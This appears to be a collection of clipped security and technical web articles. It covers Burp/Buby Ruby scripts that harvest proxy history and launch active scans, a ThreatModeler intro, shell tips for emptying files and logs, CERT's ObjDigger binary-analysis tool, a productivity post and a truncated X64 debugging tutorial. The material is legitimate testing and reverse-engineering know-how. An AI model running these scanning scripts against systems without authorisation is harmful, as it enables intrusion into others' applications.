a scripting capability is the first thing that comes to mind. Whether it's
manually scripting out a login request or application workflow to reach deeper
parts of the app or surgically manipulating requests to evade filters or
demonstrate a particular attack vector, every test is going to include some
component that needs to be handled more interactively than you can do with
just a big app scanner. Some common \(trivial, fictional, broken, crude,
etc.\) cases...

**Mining and aggregating parameter values or server responses to a certain
page is a no brainer.**

    
[code]

    faces = []
    $burp.with_proxy_history do |req|
            return unless $burp.in_scope?(req.url)
            parms = $burp.parameters(req.req_str)
            parms.collect.each {|x| faces << x[1] if x[0] == "javax.faces.ViewState" }
    end
    
[/code]

**Harvesting embedded application paths and feeding them to the Burp spider**

    
[code]

    exp = /Js\.getView\ /
    $burp.search_proxy_history(nil,exp) do |view|
            return unless $burp.in_scope?(view.url)
            view.rsp_str.each_line do |line|
                    url = "#{view.protocol}://#{view.host}:#{view.port}/"
                    $burp.send_to_spider(url + line.split("=")[1]) if line =~ "Js.getView"
            end
    end
    
[/code]

**Sick Burp's active scanner on requests with several insertion points**

    
[code]

    # LHF - Throw the kitchen sink at anything that gives you the stink-eye
    hist = $burp.get_proxy_history
    hist.each do |req|
            return unless $burp.in_scope?(req.url)
            if $burp.parameters(req).length >=3 then
            $burp.active_scan(req.rhost, req.rport.to_i, false, req.req_str)
            end
    end
    
[/code]

    
Burp's active scanner conducts tests and reports on a limited number of issues
in detail and Buby is ideal for manually reproducing issues found by other
tools. Pick your poison when it comes to Ruby http client APIs \(Mechanize and
rbkb-httphave been convenient for me\) and crank out those PoCs.

Because you're a hot shot application tester, perpetratin some perpetual POST
penetration and strokejacking the sauce out of all those users \(seriously?\),
you should have a ton of findings data in your proxy history. The pages and
parameters that are affected by each issue are typically the meat of the
report findings and will be details that the client will require to begin
remediation. Buby \(via Burp\) provides a hook that is run whenever Burp's
scanner reports an issue \(Ref\) and allows you to tap into all of the data
that goes into Burp's scanner reports including the offending request/response
messages and rememdiation details where provided by Burp.

Inevitably you will have issues that Burp does not report on, for example: I
have ported some of the passive checks and good work done by the Watcher team,
into Buby http message hooks to passively detect a couple of the same issues.
I also route larger application scanners through Burp so I can send the issues
that they find to Burp's Repeater tool and manually verify or debug the issues
and not have to open up that tool again when I want to look at the report.

In order to collect these issues and work fluidly in Burp, I wrote a very
simple Module to collect the information that Burp's scanner reports on in
real-time and log it to a Sequel database and a helper method for the Buby
class so that you can quickly flag your own issues during the test and log
them to the database with all the detail that is in the offending request and
response.

I find the issues database useful whether you don't launch Buby interactively
and just want it to catch Burp's scanner issues, or you can use it offline
with a state file and parse the proxy history with your passive check API or
if you use it inline to route other tools through Burp and reproduce and flag
their issues to the database for repeatability and verification.

I won't highlight the code inline but I have put my Buby rc file which has a
bunch of dumb stuff in it \(named BubyTrap ;\]\)here and the module here. The
are comments in both that demonstrate some of the usage. If you have any
comments or feedback or if you can't figure it out just email me here at AR.

Bonus: Check out the presentation at Blackhat EU this week that \(I think\)
mentions Buby

Cheers,  
tebo

# Getting Started with ThreatModeler

**Created:**| _1/15/2014 9:36:31 PM_  
---|---  
**Updated:**| _1/15/2014 9:36:31 PM_  
**Author:**| __  
**Tags:**| _security tools Threat-modeling_  
  

# **G** etting Started With ThreatModeler****

ThreatModeler™ allows users to capture the entire flow of applications and
their underlying infrastructure, and to define certain properties from which
its able to automatically identify threats and classify them under various
risk categories**.** ThreatModeler’s simple to use navigation wizard helps
users enter the required information needed to get started, in order to build
a threat profile of an application**.**

ThreatModeler™ brings a mind mapping approach to threat modeling, allowing
users to build out the various components of an application and its underlying
infrastructure by using images from a drag-and-drop palette**.** This is the
equivalent of an electronic white board, with a host of features that a white
board cannot provide**.** Users can also define the communication channel
\(protocols\) between different components using a drop down menu, and assign
data elements and technical controls \(like Form, URL, Cookie, Session,
etc**.**\)**.** Once a user has completed a component diagram, ThreatModeler™,
with its Intelligent Threat Engine \(ITE\), automatically identifies threats
in the various components of the threat model, and based on the information
provided, prioritizes them according to risk**.**

The Getting Started Guide will walk you through a step-by-step process that
illustrates how to create threat models and how to analyze threats to
applications, along with other detailed descriptions of ThreatModeler’s many
features**.** There is also context-sensitive help within ThreatModeler™ and
by selecting the “Help” button users are guided through each screen**.**
Optionally, users are able to browse and search through the entire Help file,
by simply opening it from the main menu**.**

The file is available for download below:

Getting Started with ThreatModeler – A Step-by-Step Guide

****

# Command Line Kung Fu: Episode \#19 - Clearing The Contents Of A File

**Created:**| _5/16/2009 10:31:34 AM_  
---|---  
**Updated:**| _5/16/2009 10:31:40 AM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

### Episode \#19 - Clearing The Contents Of A File

Paul Writes In:  
  
Ever want to delete just the contents of a file, but not the file itself?
There are many ways to do this on UNIX/Linux systems, here's one:  
  

[code]

    $ cat /dev/null > my_file
    
[/code]

  
Probably the most common usage for this is to clean out a log file. I'm
certain Hal will have several suggestions, and Ed will have to \(again\!\) be
creative without /dev/null in Windows :\)  
  
Hal Says:  
  
I generally "set -o noclobber" in my .bashrc because I don't want to
accidentally overwrite files with output redirection \(and you should too,
Paul\!\). Thus, Paul's command line above is not as useful for me. My idiom is
usually just:  
  

[code]

    $ **cp /dev/null my_file**
    
[/code]

  
It's also two characters \(not counting extraneous spaces\) shorter than
Paul's version. Go me\!  
  
Ed Responds:  
  
While we don't have /dev/null in Windows, we do have the very handy nul, the
rough equivalent of /dev/null. I use it rather often to make things go away,
usually directing unwanted Standard Out to it. But, to delete the contents of
a file, you could use nul like this:  
  

[code]

    C:\> **type nul > my_file**
    
[/code]

  
This will keep the file's creation time \(viewable with "dir /tc my\_file", as
we discussed in Episode 11\), while making the contents of the file empty.  
  
Alternatively, we can remove the contents of a file in Windows using Hal's
approach of copying with:  
  

[code]

    C:\> copy**nul my_file****  
    **
[/code]

  
Oh, and my copy command is four less characters less to type than Hal's fu
above, a whopping six characters less than Paul's. Efficiency, thy name is
Windows. Go Windows\! Now there's something that you don't hear often in a
battle of the command shells\!  
  
BTW, thanks for the "set -o noclobber" tip, Hal. Very useful\! Almost always
in my SANS 560 class, attendees accidentally hose their systems by flipping a
<> and destroying /etc/passwd or /etc/shadow on their Linux boxen, even though
I warn them about it. I'll set noclobber by default for their shells, which
should prevent that from happening, but will introduce frustrations when their
bad command doesn't work. I guess the frustration is better than hosing the
system.  
  
And, the hits just keep on coming...

# The Pharos Framework: Binary Static Analysis of Object Oriented Code

**Created:**| _6/29/2017 3:51:17 PM_  
---|---  
**Updated:**| _6/29/2017 3:51:17 PM_  
**Author:**| __  
**Tags:**| __  
  

  

## __ The Pharos Framework: Binary Static Analysis of Object Oriented Code

Posted on  August 18, 2015  by Jeffrey Gennari in  Malware

  * __
  * __
  * __
  * __
  * __
  * __

Object-oriented programs present considerable challenges to reverse engineers.
For example, C++ classes are high-level structures that lead to complex
arrangements of assembly instructions when compiled. These complexities are
exacerbated for malware analysts because malware rarely has source code
available; thus, analysts must grapple with sophisticated data structures
exclusively at the machine code level. As more and more object-oriented
malware is written in C++, analysts are increasingly faced with the challenges
of reverse engineering C++ data structures. This blog post is the first in a
series that discusses tools developed by the Software Engineering Institute's
CERT Division to support reverse engineering and malware analysis tasks on
object-oriented C++ programs.

Identifying C++ classes in assembly code requires understanding low-level
implementation details, such as specialized calling conventions that are not
directly related to program functionality. To help analyze object-oriented
software \(including malware\) we have been developing a suite of binary
static program analysis tools. Our framework, _Pharos_ , is built on top of
Lawrence Livermore National Laboratory's \(LLNL\) ROSE compiler
infrastructure. The Pharos tool suite includes many extensions to the binary
analysis features of ROSE that we've jointly developed with LLNL. The Pharos
tools use static analysis techniques, such as control flow analysis and
dataflow analysis, to reason about the behavior of, and data structures in
binary files.

One of our Pharos tools, ObjDigger, supports analysis and recovery of object-
oriented data structures from 32-bit Microsoft Windows binary files.
Specifically, ObjDigger can help recover C++ classes/structures including
class members, methods, and virtual functions. ObjDigger can also help reason
about class relationships, such as composition and inheritance. This posting
describes the ObjDigger tool, how it works, and how to use it to help reverse
engineer object-oriented C++ code.

For example, consider the simple C++ program below in Code Listing 1 that
instantiates an object and then calls a virtual function. This relatively
straightforward code results in many implicit operations when compiled.

<img src='img/Temp2_8250.png' width='313' height='504' alt='1.png' />  
**Code Listing 1: Sample C++ Program**

The program in Code Listing 1 was compiled using a 32-bit version of Microsoft
Visual C++ 2010 with no command-line options except for the /FAsc option to
generate x86 assembly code. The disassembly of the main function is shown
below in Code Listing 2. First, an AddOp object is instantiated and assigned
to a MathOp pointer, although the types are not immediately clear from the
listing. Instantiating the AddOp object requires multiple steps that are not
visible in source code. First, object memory is allocated from addresses
0x00401006 through 0x00401017. Second, the AddOp object is initialized from
addresses 0x00401019 through the call to the constructor at address
0x00401020.

<img src='img/Temp2_8242.png' width='686' height='359' alt='2.png' />  
**Code Listing 2: Section of main function that includes object
instantiation**

  
Note that the allocated memory for the AddOp object is passed to the AddOp
constructor via the ECX register. This code is consistent with the
\_\_thiscall calling convention that is used to implement class mechanics,
such as method invocation and member access in assembly code. Passing function
arguments through registers, however, can be hard to detect. The body of the
AddOp constructor, which is shown below in Code Listing 3, demonstrates
additional complexities.

<img src='img/Temp2_8246.png' width='679' height='570' alt='3.png' />  
**Code Listing 3: AddOp Constructor Assembly Listing**

  
At the source-code level, the AddOp constructor simply initializes two class
members \(x and y\). At the assembly-code level, however, more substantial
setup is necessary to account for implicit operations needed by C++ objects.
First, because AddOp extends MathOp, a MathOp object is automatically
constructed at address 0x0040105A. Moreover, because both MathOp and AddOp
contain virtual functions, a virtual function pointer is installed at address
0x00401062. Virtual function pointers are the mechanism that Microsoft Visual
C++ uses to invoke the correct function in a polymorphic class arrangement.
The virtual function pointer points to a table of pointers to actual virtual
function implementations. Consider Code Listing 4 below, which shows the
invocation of the virtual function Execute.

<img src='img/Temp2_8251.png' width='590' height='146' alt='5.png' />

**Code Listing 4: Virtual Function Call Invocation**

  
Invoking the Execute function requires dereferencing the virtual function
pointer installed during construction and then fetching the appropriate
virtual function implementation. To reason about program control flow
correctly the virtual function invocations must be resolved. Determining the
target of virtual functions is hard and often forces reverse engineers to
completely recover and reason about a program's class structures. In large C++
programs that contain many interrelated classes, this analysis can be a
tedious and time-consuming task.

ObjDigger automates recovery of C++ data structures. It identifies potential
class structures and methods and resolves virtual function calls where it can.
Compiling the program in Code listing 1 and running the executable through
ObjDigger with the --report option produces the output shown in Table 1.

##### Table 1: ObjDigger Output  
<img src='img/Temp2_8244.png' width='882' height='556' alt='6.png' />

Note that the names used in the source code are removed during compilation,
but the tool is able to identify class data structures. For example, ObjDigger
identifies AddOp as a data structure with the following constructor:

<img src='img/Temp2_8243.png' width='317' height='24' alt='7.png' />

A virtual function pointer and virtual function table<img
src='img/Temp2_8241.png' width='798' height='130' alt='8.png' />

and two members:

<img src='img/Temp2_8249.png' width='749' height='106' alt='9.png' />

ObjDigger is able to reason about the relationship between AddOp and MathOp by
identifying that the MathOp constructor \(address 0x004010B0\) is called from
within the AddOp constructor \(address 0x00401050\). Calling the MathOp
constructor from within the AddOp constructor indicates a relationship between
MathOp and AddOp. ObjDigger identifies the relationship as inheritance \(hence
the parent class designation\). In this case, ObjDigger correctly identifies
the MathOp as the parent of AddOp because the MathOp constructor is called
before the AddOp virtual function pointer is installed at address 0x00401062.
This heuristic is one way to distinguish class inheritance from class
composition.

**Using ObjDigger Output**

ObjDigger includes options to generate Javascript Object Notation\(JSON\)
specifications for recovered object schemas that are suitable for automated
processing with reverse engineering tools. To better support reverse engineers
we've included an IDA Pro plugin named PyObjdigger that applies ObjDigger
results to an IDA database. Table 2 shows IDA Pro screenshots of the
constructor for AddOp before and after adding ObjDigger-generated class
information. Again, class names are typically not preserved during
compilation, so PyObjdigger uses generic names, such as Cls0, Cls1, etc. In
the future we plan to parse run-time type information \(RTTI\) where possible
to leverage more realistic class names.  
  

##### Table 2: AddOp Constructor Disassembly before and after Running the
PyObjdigger Plugin

**Before  
**

* * *
<img src='img/Temp2_8245.png' width='558' height='442' alt='10.png' />

**After  
**

* * *
<img src='img/Temp2_8247.png' width='632' height='395' alt='11.png' />

One of the more useful PyObjdigger features is its ability to annotate virtual
function calls with clickable labels. For example, Table 3 shows an IDA Pro
screenshot containing disassembly for the virtual function call
add->Execute\(\). In the disassembly listing the clickable comment \(4010e0\)
that was inserted by PyObjdigger is the target for this virtual function call.

##### Table 3: Annotated Virtual Function Call

<img src='img/Temp2_8248.png' width='1105' height='326' alt='12.png' />

**ObjDigger Under the Hood**

****ObjDigger usesdefinition-use analysis to identify object pointers, known
as _this pointers_. The analysis process works as follows:

  1. First ObjDigger uses ROSE to gather a list of functions in the executable file.
  2. ObjDigger analyzes each function to determine if it is a class method based on whether it follows the \_\_thiscall calling convention. In \_\_thiscall functions the _this pointer_ for an object is passed in as an argument in the ECX register.
  3. ObjDigger detects the this pointer passed in to the function by identifying reads of the ECX register without initialization.
  4. Once the set of \_\__thiscall_ functions is identified, further analysis of this pointer usage in the body of each function is performed to identify possible class members and methods.

The Pharos binary analysis infrastructure provides information on which
program instructions influence \(i.e., read and write\) computations on
subsequent instructions. This abstract interpretation of instructions makes it
possible to track values through an assembly listing. Reasoning about abstract
values as they are accessed through a program enables identification of
object-oriented constructs. For example, a call to a virtual function requires
two pointer dereferences:

  * one to access the virtual function table
  * one to access the appropriate virtual function

In Code Listing 4 dereferencing the virtual function table pointer and
fetching the correct virtual function corresponds to the pointer accesses at
addresses 0x0040103A and 0x0040103F, respectively. For each indirect call
found in the binary \(i.e., a call on a register or memory address\),
ObjDigger searches for two previous dereferences connected through common
pointers \(i.e., a pointer that refers to another pointer that refers to a
known class virtual function\). That is, if the call instruction is preceded
by two pointer dereferences and these pointers trace back to a known class
structure with a virtual function table that contains a valid class method,
then this arrangement is labeled as a virtual function call and bound to the
class structure. The target of the call is determined by examining the virtual
function table for the known class structure.

ObjDigger uses similar data flow analysis to identify class members and
methods and class relationships. A more thorough, if slightly dated,
discussion of the ObjDigger's data structure recovery algorithms is available
in our paper titled Recovering C++ Objects From Binaries Using Inter-
Procedural Data-Flow Analysis that was published at the ACM SIGPLAN on Program
Protection and Reverse Engineering Workshop in 2014.

This post shows how binary static analysis tools, such as ObjDigger can help
reverse engineers and malware analysts by automatically reasoning about C++
data structures at the binary level. Processing an object-oriented executable
file with ObjDigger helps the analyst to quickly identify and understand the
data structures in an executable file. Automatically recovering information
about C++ data structures enables analysts to focus on reasoning about program
functionality and spend less time analyzing low-level constructs that are
inserted during compilation and have little bearing on program behavior.
Automatic analysis of executables has more applications than dealing with
object oriented code. In subsequent posts in this series we will discuss some
of the other tools in the Pharos suite that automatically identify and reason
about program behaviors.

We welcome your feedback on our work in the comments section below.

**Additional Resources**

We recently released ObjDigger publicly, and those who are interested in
evaluating ObjDigger can download it from the Pharos Static Analysis Tools
site.

We have also created a GitHub repository for Pharos, and plan to release
selected components of our framework for inclusion back into the ROSE
infrastructure.

  

# Vikram and Neha: Be more productive at work

**Created:**| _9/18/2011 7:59:54 AM_  
---|---  
**Updated:**| _9/18/2011 7:59:54 AM_  
**Author:**| __  
**Tags:**| _opinion_  
  

###  Be more productive at work

I have learned a few things about enhancing my productivity over the past few
years, by observing my own productivity at work. These rules should work for
anyone whose work requires concentration, creativity and thought.  
  
Here goes:  

  1. Get a **quiet room**. If your job requires thinking of any kind, it needs to happen in a quiet place. In case you cannot get a quiet room, invest in a pair of good earplugs. I recommend the Howard Leight Laser Light earplugs. At $20 for 200 pairs, it is a steal. If you do get a box, hand them out to your co-workers to improve the entire team's productivity. Even if you think that a noisy room works for you, try out a pair of earplugs first. Chances are that you, like most of humanity, will prefer a quiet room. If you work in an enclosed office: you are lucky\! Consider submitting my resume to your recruiters.
  2. **No distractions**. This is essential to keep you in flow. What works for me is to wear my earplugs and display a sheet of paper that says, "Do not disturb". Yes, you look like a douche-bag and you feel anti-social, but the feeling quickly passes. Additionally, you can indicate that if people drop you an email, you will go by their desk when they are free. This reduces the chances of people mistaking you for a self-important jerk. Apologise in advance, and mention what you are working on. I use an IM status like this "Do not Disturb. Need to finish Project Wallaby. Please email. Apologies :\(" I also block off time on my calendar to focus on a single activity. This reduces the chance of someone scheduling you for a meeting when you're in the middle of a task.
  3. **Respect people's time**. Meeting with people is essential. I choose to meet people in their office at a scheduled time. When I do meet someone, I avoid checking email, and I avoid looking at my phone. If someone is spending time with you, respect their time in addition to yours. Ditto for meetings. If you are checking mail in a meeting: you should consider avoiding the meeting entirely.
  4. **Stop when done**. I usually set a goal and try to finish the activity as soon as possible. When I am done, I stop and take a break. This is essential to getting a feeling of accomplishment. Plodding through the day is much easier if you get regular shots of satisfaction. Break up work into 2-3 hour chunks, and try to finish a task before allowing yourself to be distracted. Over time, you'll find that your productivity improves, so adjust your expectations. Once you are done, go for a short walk, or look outside. Give yourself some time to relax before tackling the next objective.
  5. **Beat inertia with a trivial task.** I find it much easier to get back into work if I have something trivial that I can hammer out early. This could be a simple bug or a trivial feature. This allows you to get in the mode of work with minimal hassle and beats inertia. 
  6. **H****ardest job first**. Once you have beaten inertia, go for the hardest task of the day. Concentration, focus, and decision-making are their best in the morning after a full night of rest. Once you've done the hardest task, you have the added benefit of knowing that the remaining day is easy.
  7. **Full night's sleep**. Research suggests that a full night's sleep is critical to improving your concentration. If you are constantly tired at work, napping might help. Many managers frown upon napping, so exercise caution if you need to go down this route.
  8. **Love your work**. It is easy to work hard at something when work is fun. It might be too late to change jobs, but try to find interesting projects and interesting people to work with. My productivity is high when I work with peers whom I respect and from whom I can learn.

This wisdom is from personal experience, good books like "Peopleware" and "The
Mythical Man Month", Randy Pausch's talk, and many online resources.  
  

<img src='img/Temp2_8885.jpg' />

Many activities at home require concentration and focus, and work is no
different. At home, I love reading a book or playing with computers. I think
of the atmosphere that allows me to enjoy my home activities and I try to
recreate the same atmosphere at work. You might consider trying something
similar. Find an activity you love, and identify what atmosphere allows you to
enjoy that activity completely. A similar atomsphere at work might help
improve your productivity.  

# CodeMachine - Article - X64 Deep Dive

**Created:**| _6/9/2011 11:18:25 AM_  
---|---  
**Updated:**| _6/9/2011 11:18:25 AM_  
**Author:**| __  
**Tags:**| _compiler-building windows environment x64 Driver_  
  

* * *
### X64 Deep Dive  

* * *
This tutorial discusses some of the key aspects of code execution on the X64
CPU like compiler optimizations, exception handling, parameter passing and
parameter retrieval and shows how these topics are closely related to each
other. It covers the important debugger commands related to the above topics
and provides the necessary background required to interpret and understand the
output of these commands. It also highlights how the X64 CPU does things
differently from the X86 CPU and how it affects debugging on X64. And finally
it ties everything together and illustrates how this knowledge can be applied
to retrieve register based parameters from X64 call stacks, something that
always poses a challenge when debugging X64 code. This tutorial takes a step
by steps approach to present the content and makes use of diagrams,
disassembly listings and debugger output extensive to drive home the key
points. Readers are expected to have a good understand of how things work on
the X86 CPU in terms of register usage, stack usage and function layout to
make most of this tutorial.

#### Compiler Optimizations

This section discusses some of the compiler optimization that affects the way
X64 code is generated. It starts with a description of the X64 regsisters and
then focusses on optimizations like function in-lining, tail call elimination,
frame pointer optimization and stack pointer based local variable access.

##### Register Changes

All registers on the X64 CPU, with the exception of the segment registers and
the EFlags register, are 64-bits which implies that all fetches from memory
are 64-bit wide. Also X64 instructions are capable of processing 64-bits at a
time which makes x64 a native 64 bit processor. Eight new registers have been
added i.e. r8 – r15 which are labeled with numbers as opposed to the other
registers that are labeled with alphabets. The following debugger output shows
the registers on X64.

[code]

    1: kd> r
    rax=fffffa60005f1b70 rbx=fffffa60017161b0 rcx=000000000000007f
    rdx=0000000000000008 rsi=fffffa60017161d0 rdi=0000000000000000
    rip=fffff80001ab7350 rsp=fffffa60005f1a68 rbp=fffffa60005f1c30
     r8=0000000080050033  r9=00000000000006f8 r10=fffff80001b1876c
    r11=0000000000000000 r12=000000000000007b r13=0000000000000002
    r14=0000000000000006 r15=0000000000000004
    iopl=0         nv up ei ng nz na pe nc
    cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00000282
    nt!KeBugCheckEx:
    fffff800`01ab7350 48894c2408      mov     qword ptr [rsp+8],rcx ss:0018:fffffa60`005f1a70=000000000000007f
    
[/code]

The usage of some of these register have changed, from X86, as well. The
changes can be grouped as follows:

  * Non-volatile Registers are registers that are saved across function calls. X64 has an expanded non-volatile register set in which all the old X86 non-volatile registers are also included. New ones in this set are R12 through R15. These are important from the perspective of retrieving register based function parameters.
  * Fastcall registers are used to pass parameters to functions. Fastcall is the default calling convention on X64 where in the first 4 parameters are passed via the registers RCX, RDX, R8, R9.
  * RBP is no longer used as frame pointer. It is now a general purpose register like any of the other registers like RBX, RCX etc. The debugger can no longer use the RBP register to walk the call stack.
  * On the X86 CPU, the FS segment register points to Thread Environment Block \(TEB\) and the Processor Control Region \(KPCR\) but on the X64, it is the GS register that points to the TEB while in user mode and the KPCR while in kernel mode. However when running WOW64 applications \(i.e. 32 bit applications on X64 systems\), the FS register continues to point to the 32-bit version of TEB.

The trap frame data structure \(nt\!\_KTRAP\_FRAME\) on the X64 does not
contain valid contents of non-volatile registers. The prolog of X64 functions
save the values of non-volatile registers if they intend to overwrite them.
The debugger can always pull the saved values of these non-volatile registers
from stack instead of having to retrieve them from the trap frame. During
kernel mode debugging on X64, the output of the ".trap" command prints a note
highlighting the fact that the values of all the registers retrieved from the
trap may not be accurate, as shown below. There are exceptions to this rule
e.g., trap frames generated for user to kernel mode transitions do contain the
correct values of all the registers.

[code]

    1: kd> kv
    Child-SP          RetAddr           : Args to Child
    . 
    . 
    .
    nt!KiDoubleFaultAbort+0xb8 (TrapFrame @ fffffa60`005f1bb0)
    . 
    . 
    .
    
    1: kd> .trap  fffffa60`005f1bb0
    NOTE: The trap frame does not contain all registers.
    Some register values may be zeroed or incorrect
    
[/code]

##### Function in-lining

The X64 compiler performs inline expansion of functions by which if certain
criteria is met, it replaces the call to a function with the body of the
callee. Although in-lining is not unique to X64, the X64 compiler is over
zealous about in-lining functions. The advantages of inlining are that it
avoids the overhead of setting up the stack, branching to the callee and then
returning back to the caller. The downside of in-lining is that due to the
code duplication, the size of the executable file bloats up and the functions
expand resulting in cache miss and increased number of page faults. Function
in-lining also impedes debugging in that when one tries to set a breakpoint on
a function that the compiler has chosen to inline, the debugger is unable to
find the symbol of the in-lined function. In-lining at a source file level is
controlled by compiler's /Ob flag and in-lining can be disabled on a per
function basis by \_\_declspec\(noinline\). Figure 1 shows function2 and
Function3 being inlined inside Function1.

<img src='img/figure_x64dd_1.png' alt='FIG#1' />  
---  
Figure 1 : Function In-lining  
##### Tail Call Elimination

X64 compiler can optimize the last call made from a function by replacing it
with a jump to the callee. This avoids the overhead of setting up the stack
frame for the callee. The caller and the callee share the same stack frame and
the callee returns directly to the caller’s caller. This is especially
beneficial when the caller and the callee have the same parameters, since, if
the relevant parameters are already in the required registers and those
registers haven't changed, they don't have to be reloaded. Figure 2 shows tail
call elimination in Function1 when calling Function4. Function1 jumps to
Function4 and when Function4 finishes execution, it returns directly to the
caller of Function1.

<img src='img/figure_x64dd_2.png' alt='FIG#2' />  
---  
Figure 2 : Tail Call Elimination  
##### Frame Pointer Omission

Unlike the X86 CPU where the EBP register is used to access parameters and
local variables on the stack, X64 functions do not make use of the RBP
register for this purpose i.e. do not use the EBP register as a frame pointer.
Instead, it uses the RSP register both as a stack pointer and a frame pointer,
more on how this works in the next topic. So, on X64 the RBP register is now
freed up from its stack duties and can be used as a general purpose register.
An exception to this rule are functions that use alloca\(\) to dynamically
allocate space on the stack. Such functions will use the RBP register as a
frame pointer, as they did with EBP on the X86.

The following assembler code snippet shows the X86 function KERNELBASE\!Sleep.
References to the EBP register show that it is being used as the frame
pointer. While calling the function SleepEx\(\), the parameters are being
pushed on to the stack and SleepEx\(\) is called through a call instruction.

[code]

    0:009> uf KERNELBASE!Sleep
    KERNELBASE!Sleep:
    75ed3511 8bff            mov     edi,edi
    75ed3513 55              push    ebp
    75ed3514 8bec            mov     ebp,esp
    75ed3516 6a00            push    0
    75ed3518 ff7508          push    dword ptr [ebp+8]
    75ed351b e8cbf6ffff      call    KERNELBASE!SleepEx (75ed2beb)
    75ed3520 5d              pop     ebp
    75ed3521 c20400          ret     4.
    
[/code]

The next code snippet shows the same function i.e. kernelbase\!Sleep\(\) on
X64. There are some striking differences - the X64 version is much more
compact due to the fact that there is no saving/restoring/setup of the RBP
register i.e. the usage of the frame pointer is omitted and neither is there
any setup for the stack frame for the callee i.e. SleepEx\(\). In fact
Sleep\(\) and SleepEx\(\) end up using the same stack frame, an example of
tail call optimization in action.

[code]

    0:000> uf KERNELBASE!Sleep
    KERNELBASE!Sleep:
    000007fe`fdd21140 xor     edx,edx
    000007fe`fdd21142 jmp     KERNELBASE!SleepEx (000007fe`fdd21150)
    
[/code]

##### Stack Pointer based local variable access

On the X86 CPU, the most important function of the frame pointer \(EBP\)
register is to provide access to stack based parameters and local variables.
As discussed earlier, on the X64 CPU, the RBP register does not point to the
stack frame of the current function. So on X64, it is the RSP register that
has to serve both as a stack pointer as well as a frame pointer. So all stack
references on X64 are performed based on RSP. Due to this, functions on X64
depend on the RSP register being static throughout the function body, serving
as a frame of reference for accessing locals and parameters. Since push and
pop instructions alter the stack pointer, X64 functions restrict push and pop
instructions to the function prolog and epilog respectively. The fact that the
stack pointer does not change at all between the prolog and the epilog is a
characteristic feature of X64 functions, as shown in figure 3.

<img src='img/figure_x64dd_3.png' alt='FIG#3' />  
---  
Figure 3 : Static Stack Pointer  
The following code snippet shows the complete listing of the function
user32\!DrawTestExW. This function's prolog ends with the instruction “sub
rsp, 48h” and it's epilog starts with the instruction “add rsp, 48h”. Since
instructions between prolog and epilog access stack contents using the RSP as
a reference, there are no intervening push or pop instructions in the function
body.

[code]

    0:000> uf user32!DrawTextExW
    user32!DrawTextExW:
    00000000`779c9c64 sub     rsp,48h
    00000000`779c9c68 mov     rax,qword ptr [rsp+78h]
    00000000`779c9c6d or      dword ptr [rsp+30h],0FFFFFFFFh
    00000000`779c9c72 mov     qword ptr [rsp+28h],rax
    00000000`779c9c77 mov     eax,dword ptr [rsp+70h]
    00000000`779c9c7b mov     dword ptr [rsp+20h],eax
    00000000`779c9c7f call    user32!DrawTextExWorker (00000000`779ca944)
    00000000`779c9c84 add     rsp,48h
    00000000`779c9c88 ret
    
[/code]

#### Exception Handling

This section discusses the underlying mechanism and data structures that X64
functions use for exception handling and also how the debugger leverages these
structures to walk the call stack. It also points to some of the unique
aspects of X64 call stacks.

##### RUNTIME\_FUNCTION

X64 executable files use a file format that is a variant of the PE file
format, used for X86, called PE32+. Such files have an extra section called
".pdata" or Exception Directory that contains information used for handling
exceptions. This "Exception Directory" contains a RUNTIME\_FUNCTION structure
for every non-leaf function in the executable. Non-leaf functions are those
that do not call other functions. Each RUNTIME\_FUNCTION structure contains
the offset of the first and the last instruction in the function \(i.e. the
function extents\) and a pointer to the unwind information structure that
describes how the function's call stack is to be unwound in the event of an
exception. Figure 4 shows RUNTIME\_FUNCTION structure for a module containing
offsets to the beginning and the end of the functions in that module.

<img src='img/figure_x64dd_4.png' alt='FIG#4' />  
---  
Figure 4 : RUNTIME\_FUNCTION  
The following assembler code snippets show some of the differences in code
generation related to exception handling on the X86 and X64. On x86, when the
high level language \(C/C++\) code contains structured exception handling
constructs like \_\_try/\_\_except, the compiler generates special code in the
prolog and epilog of the function that builds the exception frame on the stack
at runtime. This can be observed in the code snippet below in the calls to
ntdll\!\_SEH\_prolog4 and ntdll\!\_SEH\_epilog4.

[code]

    0:009> uf ntdll!__RtlUserThreadStart
    ntdll!__RtlUserThreadStart:
    77009d4b push    14h
    77009d4d push    offset ntdll! ?? ::FNODOBFM::`string'+0xb5e (76ffc3d0)
    77009d52 call    ntdll!_SEH_prolog4 (76ffdd64)
    77009d57 and     dword ptr [ebp-4],0
    77009d5b mov     eax,dword ptr [ntdll!Kernel32ThreadInitThunkFunction (770d4224)]
    77009d60 push    dword ptr [ebp+0Ch]
    77009d63 test    eax,eax
    77009d65 je      ntdll!__RtlUserThreadStart+0x25 (77057075)
    
    ntdll!__RtlUserThreadStart+0x1c:
    77009d6b mov     edx,dword ptr [ebp+8]
    77009d6e xor     ecx,ecx
    77009d70 call    eax
    77009d72 mov     dword ptr [ebp-4],0FFFFFFFEh
    77009d79 call    ntdll!_SEH_epilog4 (76ffdda9)
    77009d7e ret     8
    
[/code]

In the x64 version of the function, however, there is no indication that the
function uses structured exception handling, since no stack based exception
frames are built at runtime. The RUNTIME\_FUNCTION structures along with the
current value of the instruction pointer register \(RIP\) are used to locate
the exception handling information from the executable file itself.

[code]

    0:000> uf ntdll!RtlUserThreadStart
    Flow analysis was incomplete, some code may be missing
    ntdll!RtlUserThreadStart:
    00000000`77c03260 sub     rsp,48h
    00000000`77c03264 mov     r9,rcx
    00000000`77c03267 mov     rax,qword ptr [ntdll!Kernel32ThreadInitThunkFunction (00000000`77d08e20)]
    00000000`77c0326e test    rax,rax
    00000000`77c03271 je      ntdll!RtlUserThreadStart+0x1f (00000000`77c339c5)
    
    ntdll!RtlUserThreadStart+0x13:
    00000000`77c03277 mov     r8,rdx
    00000000`77c0327a mov     rdx,rcx
    00000000`77c0327d xor     ecx,ecx
    00000000`77c0327f call    rax
    00000000`77c03281 jmp     ntdll!RtlUserThreadStart+0x39 (00000000`77c03283)
    
    ntdll!RtlUserThreadStart+0x39:
    00000000`77c03283 add     rsp,48h
    00000000`77c03287 ret
    
    ntdll!RtlUserThreadStart+0x1f:
    00000000`77c339c5 mov     rcx,rdx
    00000000`77c339c8 call    r9
    00000000`77c339cb mov     ecx,eax
    00000000`77c339cd call    ntdll!RtlExitUserThread (00000000`77bf7130)
    00000000`77c339d2 nop
    00000000`77c339d3 jmp     ntdll!RtlUserThreadStart+0x2c (00000000`77c53923)
    
[/code]

##### UNWIND\_INFO and UNWIND\_CODE

